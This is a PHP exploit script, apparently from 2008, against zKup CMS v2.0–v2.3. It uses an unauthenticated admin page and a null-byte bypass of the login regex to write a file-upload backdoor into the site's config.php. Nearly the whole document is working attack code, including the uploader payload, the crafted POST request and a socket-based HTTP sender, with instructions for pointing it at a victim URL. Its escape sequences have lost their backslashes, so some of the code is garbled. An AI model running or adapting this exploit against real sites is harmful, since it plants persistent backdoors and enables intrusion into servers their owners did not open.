#!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (upload)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: PHP Version, magic_quotes_gpc=Off
 *
 * This exploit spawn a php uploader in your victim's
 * server.
 *
 * Okay, you may need explanations:
 *
 * First, we can use administration without being admin
 * (see ./admin/configuration/modifier.php)
 *
 * Then, when we add an admin, it is saved in a php file,
 * named "./fichiers/config.php".
 * A vuln is present when the script controls $login value,
 * because it use this regex: #^[a-zA-Z0-9]+$#
 * in order to see if it's alphanumerical.
 * I bypassed this regex using a NULL POISON BYTE (%00),
 * and writing my upload script just after.
 * I finally put some lines in order not to
 * corrupt config.php.
 *
 */

print "n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (upload)n";
print "       by Charles "real" F. <charlesfol[at]hotmail.fr>nn";

if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
$url = $argv[1];

$code = '
if(isset($_POST['upload']))
{
    if( !move_uploaded_file($_FILES['file']['tmp_name'], "./".$_FILES['file']['name'])) exit("<center>Error (move_uploaded_file)</center>");
    else echo "<center>File uploaded</center>";
}
if($_GET['up']==1)
{
?>
<form method="post" enctype="multipart/form-data">
<center>
<input type="file" name="file">
<input type="submit" name="upload" value="Upload">
</center>
</form>
<?php
}
';
$code = urlencode($code);

/* Not to compromise config.php work */
$restore = array();
$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);

$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.n[*] upload script: ".$url."fichiers/config.php?up=1n";
else print "failed.n";

function post($url,$data,$get=1)
{
	$result = '';
	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = "POST $page HTTP/1.1rn";
	$req .= "Host: $hostrn";
	$req .= "User-Agent: Mozilla Firefoxrn";
	$req .= "Connection: closern";
	$req .= "Content-type: application/x-www-form-urlencodedrn";
	$req .= "Content-length: ".strlen( $data )."rn";
	$req .= "rn";
	$req .= $data."rn";

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?>

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